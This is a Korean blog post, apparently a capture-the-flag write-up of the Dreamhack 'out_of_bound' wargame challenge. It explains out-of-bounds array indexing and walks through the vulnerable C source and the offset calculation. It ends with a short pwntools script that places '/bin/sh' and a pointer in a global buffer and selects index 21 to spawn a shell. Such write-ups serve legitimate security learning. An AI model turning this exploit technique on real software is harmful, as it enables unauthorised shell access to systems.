취약점분석/Pwnable

[Pwnable] Out of bounds write-up ( OOB )

poiri3r 2025. 10. 5. 13:09

오늘은 드림핵의 Out of bound 문제를 풀면서 OOB 기법에 대해 공부해보겠습니다.

문제는 아래의 링크에서 다운로드 받으실 수 있습니다.

https://dreamhack.io/wargame/challenges/11

 

out_of_bound

Description이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다.프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요."flag" 파일을 읽어 워게임 사이트

dreamhack.io

 

Out-of-Bounds는 배열의 인덱스를 이용해 메모리에 접근할 때 인덱스의 범위에 대한 검사를 수행하지 않는 경우 지정해놓은 메모리 영역 밖에 있는 값에 접근할 수 있는 취약점 입니다.

이때 영역에 값을 읽을수도 있고, 원하는 값을 쓰는 것도 가능합니다.

 

먼저 이해를 위해 드림핵에서 제공하는 코드입니다.

// Name: oob.c
// Compile: gcc -o oob oob.c

#include <stdio.h>

int main() {
  int arr[10];

  printf("In Bound: \n");
  printf("arr: %p\n", arr);
  printf("arr[0]: %p\n\n", &arr[0]);

  printf("Out of Bounds: \n");
  printf("arr[-1]: %p\n", &arr[-1]);
  printf("arr[100]: %p\n", &arr[100]);

  return 0;
}

 

해당 코드를 보면 배열은 10까지 선언되어있지만 arr[-1]이라던가 arr[100]이라는 선언이 있음에도, 정상적으로 컴파일이 가능하고, 출력이 됩니다. 다음은 출력 결과입니다.

 

이제 문제를 살펴보겠습니다.

32비트 아키텍쳐이고, ASLR,Canary,NX가 적용되어있고 PIE는 적용되어 있지 않습니다.

 

소스코드를 살펴보겠습니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = {
    "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };

int main()
{
    int idx;

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

 

command라는 배열 안에 cat,ls,id,ps,file ./oob의 명령어가 있어서 system함수를 통해 실행 결과를 얻을 수 있습니다.

하지만 해당 결과만으로는 플래그를 읽을 수 없으므로 OOB를 이용해 command[idx]에 /bin/sh\x00이 들어가게 해야합니다.

 

name을 통해서 oob를 발생시켜야 하는데 PIE가 꺼져있기 때문에 실행시마다 일정한 주소에 위치합니다. 각각의 주소를 디버거로 확인해보겠습니다.

 

두 주소값의 차이를 계산해보면

76바이트만큼 차이가 납니다.

 

command는 char* 형으로 32비트에서는 각 주소가 4바이트로 표현됩니다.

command[0] =0x804a060의 주소에 저장되어 있는 값을 가지고 배열의 index가 하나 증가할때마다 4씩 증가하는 값을 가집니다.

즉, command[19] = 0x804a060+76이 되어 name의 주소에 저장되어 있는 값을 가리킵니다.

 

여기서 command[19]에 /bin/sh를 작성하고 command[19]를 입력하면 어떻게 되는지 확인해보겠습니다.

이 때 system에 들아가는 인자를 보면

EAX 레지스터 값에 /bin/sh문자열이 아닌 문자열이 저장되어 있는 주소가 들어가야 합니다.

이를 위해서 name에 /bin/sh문자열을 넣은 뒤 그 뒤에 name의 주소를 넣어서(command[21]에 해당하는 주소) eax값으로 해당 주소값이 들어가게 해야합니다.

 

payload에 8바이트의 "/bin/sh\x00"을 넣은 뒤 (command[19],[20]) command21에는 p32함수를 이용해 만든 0x804a0ac를 붙여 총 12바이트를 name에 저장합니다

 

그 뒤 command[21]을 호출하면 /bin/sh를 실행할 수 있습니다.

from pwn import*
p = remote("host", port)

payload = b"/bin/sh\x00" + p32(0x804a0ac)
print(p32(0x804a0cc))
p.sendline(payload)
p.sendline(b"21")

p.interactive()

 

여태까지에 비해서 엄청 짧은 페이로드가 완성되었습니다.

실행하면 다음과 같이 플래그를 획득할 수 있습니다.

비교적 쉬우면서도 간단한 내용이었네요.

읽어주셔서 감사합니다~